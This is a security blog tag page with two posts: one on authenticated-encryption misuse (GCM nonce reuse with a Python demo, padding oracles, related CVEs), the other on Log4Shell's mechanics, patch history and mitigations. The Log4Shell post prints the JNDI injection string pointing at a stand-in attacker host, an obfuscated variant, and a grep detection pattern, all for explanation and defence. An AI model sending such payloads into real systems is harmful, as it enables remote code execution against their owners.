Tag: CVE

  • Authenticated encryption misuse: nonce reuse, padding oracles and what real CVEs taught us

    Authenticated encryption misuse: nonce reuse, padding oracles and what real CVEs taught us

    Most of the crypto bugs I get asked to review are not broken algorithms. Nobody is attacking AES. They are attacking a code path where someone used AES correctly in isolation and then wired it up in a way the designers warned about. Authenticated encryption is where this happens most, because the API looks so simple. Key, nonce, plaintext, out comes ciphertext. Two of the ways it goes wrong are old enough to have names and CVE numbers, and they still turn up.

    What AEAD promises and what it asks of you

    Before and after diagram: with a reused AES-GCM nonce the XOR of two ciphertexts equals the XOR of the plaintexts, while unique nonces per message keep the ciphertexts unrelated

    An AEAD mode (AES-GCM, ChaCha20-Poly1305, AES-CCM) gives you confidentiality and integrity in one call, and it lets you bind cleartext metadata to the ciphertext as associated data. Decryption either returns the plaintext or fails. There is no partial result and no useful error to hand an attacker.

    The deal has conditions. The nonce must be unique for every message under a given key. Not random-looking, unique. The tag must be checked before any plaintext is used. The tag must not be truncated to something short. Break the first condition and GCM stops being secure in a fairly dramatic way. Break the second and you get the padding oracle family, which is what you end up with when you build your own AEAD from pieces.

    Nonce reuse in GCM

    GCM encrypts with a counter-mode keystream derived from the key and the nonce. Encrypt two messages with the same key and nonce and you used the same keystream twice. XOR the two ciphertexts and the keystream cancels, leaving the XOR of the two plaintexts. If an attacker knows or can guess one message (a protocol header, a template, a JSON skeleton), the other falls out.

    I ran this against the Python cryptography library to see it with my own eyes. The messages are made up, the output is real.

    nonce = os.urandom(12)
    c1 = aead.encrypt(nonce, p1, None)
    c2 = aead.encrypt(nonce, p2, None)   # same key, same nonce: the bug
    x = bytes(a ^ b for a, b in zip(c1[:len(p1)], c2[:len(p2)]))
    Real terminal output of the Python demo above: the XOR of two AES-GCM ciphertexts is identical to the XOR of the two plaintexts, the second plaintext is recovered from a known first one, and a bit-flipped ciphertext under a unique nonce is rejected with InvalidTag

    That’s the real output of the script on made-up messages: the two XOR lines match, the attacker recovers the second message from the first, and a tampered ciphertext under a fresh nonce is rejected.

    The library did not complain. It cannot know you reused a nonce, because it is stateless. That’s the core problem with the API.

    Confidentiality is the lesser damage. GCM authenticates with GHASH, a polynomial evaluation over GF(2^128) using a hash subkey derived from the key. Two messages under one nonce give an attacker equations from which the hash subkey can be recovered by finding roots of a polynomial, and with that subkey they can forge tags for arbitrary messages. This is the “forbidden attack” from Joux’s 2006 comment to NIST. People have done it in the wild. Böck, Zauner, Devlin, Somorovsky and Jovanovic scanned the internet in 2016 for TLS servers that repeated GCM nonces and found 184 of them, and showed they could inject content into those connections.

    The same class of bug hit Wi-Fi. KRACK (CVE-2017-13077 and its siblings) tricked a client into reinstalling an already-used key, which reset the packet number that feeds the nonce. Reuse of the keystream followed, in CCMP and GCMP alike. The cipher was fine. The state machine around it was not.

    Where nonces actually get duplicated

    Reading about this makes it sound like it needs carelessness. In practice it needs a deployment detail nobody wrote down:

    • A counter nonce that lives in memory, and a process that restarts and begins at zero under the same key.
    • Two writers sharing one key, each with its own counter, both starting at one.
    • A VM or container snapshot restored twice, so two clones carry the same counter or the same RNG state.
    • A random 96-bit nonce with a key that lives for years. NIST SP 800-38D caps random-nonce use at 2^32 invocations per key, which sounds enormous until a busy service hits it.
    • A hard-coded IV left over from a unit test.

    I have found the last one in production code more than once. It was in a helper that had survived several reviews because nobody opened the helper.

    Designing so reuse cannot happen

    Prefer designs where the nonce is not your problem. Derive a fresh key per message or per session with HKDF, and the nonce can be fixed. Or give each writer a unique ID and put it in the nonce, with a counter in the rest of the bytes, and rotate the key long before the counter wraps. TLS 1.3 does a version of this: the per-record nonce is the write IV XORed with the 64-bit sequence number, and the key is replaced by a key update well before anything wraps.

    When you cannot guarantee uniqueness, use a nonce-misuse-resistant mode. AES-GCM-SIV (RFC 8452) derives its nonce-dependent values from the message itself, so a repeated nonce only reveals whether two identical messages were identical. It is slightly slower, and the Python cryptography package ships it as AESGCMSIV.

    class Sealer:
        def __init__(self, key, writer_id):
            self.aead = AESGCM(key)
            self.writer = writer_id   # unique per process
            self.counter = 0
    
        def seal(self, plaintext, context):
            if self.counter >= 2**32:
                raise RuntimeError("rotate the key")
            nonce = struct.pack(">IQ", self.writer, self.counter)
            self.counter += 1
            return nonce + self.aead.encrypt(nonce, plaintext, context)

    That counter still has to survive restarts, which is exactly the part people skip. If persisting it is awkward, that’s a sign you should be using GCM-SIV or per-message keys instead.

    Also use the associated data. Put the tenant ID, the purpose string and the schema version in it. It costs nothing and it stops an attacker moving a valid ciphertext from one context to another, which is a different bug that I see about as often.

    Padding oracles

    Older designs built authenticated encryption by hand: CBC for confidentiality, a MAC for integrity, and a choice about the order. If the code decrypts first and checks the MAC afterwards (or never), the padding check itself becomes a signal. Vaudenay described the attack in 2002. The server tells you, through an error message, a status code or just response time, whether the padding on a decrypted block was valid. That one bit per query, repeated a few thousand times, decrypts a block without the key.

    Nobody treated it as a curiosity. CVE-2010-3332 (MS10-070) was a padding oracle in ASP.NET that let attackers read files from web.config and forge authentication cookies. POODLE (CVE-2014-3566) was the same idea against SSLv3’s CBC padding. Lucky Thirteen (CVE-2013-0169) showed that even when the error messages were identical, the tiny timing difference between bad padding and bad MAC leaked enough.

    The fix has been the same for twenty years. Do not decrypt unauthenticated data. Verify the MAC over the ciphertext first, in constant time, and treat every failure as one indistinguishable error. Better still, stop hand-assembling. Use an AEAD from a maintained library and the problem category disappears, because there is no padding to check and no ordering to get wrong.

    What I check in a review

    When I review code that encrypts, I grep for the AEAD constructor and then follow the nonce backwards until I find where it is born. If I cannot explain in one sentence why two messages can never share it, I treat it as a finding. After that, tag length (16 bytes, not shortened), whether associated data is used, how keys rotate, and what the decrypt failure path returns to the caller. I also look for anything that catches a decryption exception and retries with a different mode, which has turned up downgrade bugs more than once.

  • Log4Shell and what it taught us about dependency risk

    Log4Shell and what it taught us about dependency risk

    I remember the afternoon of December 9, 2021 mostly as a lot of people asking the same question in chat: do we even use log4j? Nobody knew. The real answer at most companies was “probably, somewhere, transitively,” and finding out took days.

    The bug is CVE-2021-44228, reported to Apache by Chen Zhaojun of Alibaba Cloud’s security team. It affects Log4j 2 from 2.0-beta9 through 2.14.1, and it scored a CVSS 10.0. The mechanics are simple enough to be embarrassing, which is why it’s worth understanding past the slogan.

    What the bug actually was

    Sequence diagram of the original Log4Shell attack flow, from the attacker request through the outbound LDAP query to code execution, with default-deny egress marked as the point that breaks the chain

    The diagram above traces the original attack path step by step and marks where an outbound firewall rule stops it.

    Log4j 2 supports lookups, a substitution syntax inside log messages. ${env:HOME} expands to an environment variable, ${date:yyyy-MM-dd} to a date. One of the lookups was jndi, added in 2013, which resolves a name through the Java Naming and Directory Interface. JNDI can talk to LDAP, RMI and DNS servers.

    The substitution ran on the formatted message, after your data had been interpolated into it. So this perfectly ordinary and, until then, perfectly recommended line was exploitable:

    logger.error("Login failed, user agent: {}", request.getHeader("User-Agent"));

    Parameterized logging didn’t save you. If the header contained ${jndi:ldap://attacker.example/a}, Log4j expanded it, connected to the attacker’s LDAP server, and treated the response as a reference to a Java object. In the original exploitation path, that reference pointed at a remote class file the vulnerable JVM would load and run.

    That is remote code execution from a string you logged. Any attacker-controlled value that reached a logger was enough: HTTP headers, usernames, chat messages, a Minecraft chat line, an iPhone’s device name. The first thing attackers did was spray the payload into every header they could think of and wait for a DNS callback.

    Why the usual Java defenses only half worked

    People pointed out that JDK 8u191 and later set com.sun.jndi.ldap.object.trustURLCodebase to false, which blocks loading classes from a remote codebase over LDAP. True, and it did close the simplest path. But researchers quickly showed that an attacker could instead return a serialized object or a reference to a factory class already on the victim’s classpath, and use known gadget chains from there. Newer JDKs reduced the exposure. They did not fix it.

    The other thing that stung was egress. The vulnerable server had to reach out to the attacker’s LDAP or RMI listener. Plenty of production servers can make arbitrary outbound connections. Those that could not were in a much better place that week, and I have since become a bit of a bore about default-deny outbound rules.

    The patches took four tries

    People forget this part, and it changes how you run the response.

    2.15.0 (December 10) disabled JNDI lookups from message content by default, but left a hole in non-default Pattern Layouts that use context lookups. That became CVE-2021-45046, first rated as a denial of service and later raised to remote code execution in some configurations. 2.16.0 removed message lookups entirely and disabled JNDI by default. 2.17.0 fixed uncontrolled recursion in lookups, CVE-2021-45105, a denial of service. 2.17.1 fixed CVE-2021-44832, where an attacker who could modify the logging configuration could get code execution through the JDBC Appender with a JNDI data source.

    The Java 7 and Java 6 branches got their own backports (2.12.x and 2.3.x). If your remediation ticket said “upgrade to 2.15.0” and got closed, you were not done.

    Interim mitigations, and why I stopped trusting some of them

    For a few days the standard advice was to set -Dlog4j2.formatMsgNoLookups=true or the matching environment variable. That flag exists from 2.10 on and did not cover every path, which is part of what CVE-2021-45046 was about. The mitigation that held up best was deleting the class:

    zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    You also need to find the jars, including the ones hidden inside fat jars and containers. A first pass:

    find / -type f \( -name 'log4j-core*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null
    unzip -l app.jar | grep -i 'log4j/core/lookup/JndiLookup'

    Searching logs for the attack string works, but attackers used obfuscation like ${${lower:j}ndi:...} almost immediately, so a naive grep for jndi undercounts. A looser filter:

    grep -rEi '\$\{.{0,60}j.{0,60}n.{0,60}d.{0,60}i.{0,60}:' /var/log/ 2>/dev/null

    Expect false positives and treat it as a rough filter, not a verdict. Outbound LDAP and RMI connections from application servers, and unexpected DNS lookups to domains you do not own, were the more reliable signal.

    What it taught defenders about dependency risk

    An inventory is a prerequisite, not a project for later. The teams that answered “are we affected” in an hour had a software bill of materials, or at least a way to query which artifacts were deployed where. Everyone else grepped filesystems. I’ve written before about what SBOMs are good for. This incident is the cleanest example: they answer exactly this question.

    A feature nobody asked for was the problem. Message lookups from log content were a convenience that almost nobody used on purpose, and the JNDI lookup was powerful enough to load code. The lesson I take for my own code is to ask what an interpolation or expansion feature can reach, and to default it off. Log4j eventually did that.

    The maintainers were a small group of volunteers who spent that December handling a CVSS 10 with the whole industry watching. Most of the companies that scrambled had never contributed a dollar or a patch. I don’t have a tidy fix for that. I do think “we depend on it in production” should come with some way of tracking its health, even if that is just knowing who maintains it and whether they are funded.

    Severity ratings and patch versions can mislead by leaving things out. You track a CVE family, not a single ID. After Log4Shell I stopped accepting “patched” without a version number and a way to verify it on the running system.

    The bug went into CISA’s Known Exploited Vulnerabilities catalog, and old Log4j keeps turning up inside vendor appliances you cannot patch yourself. Those need a vendor ticket and an egress rule, not a jar replacement.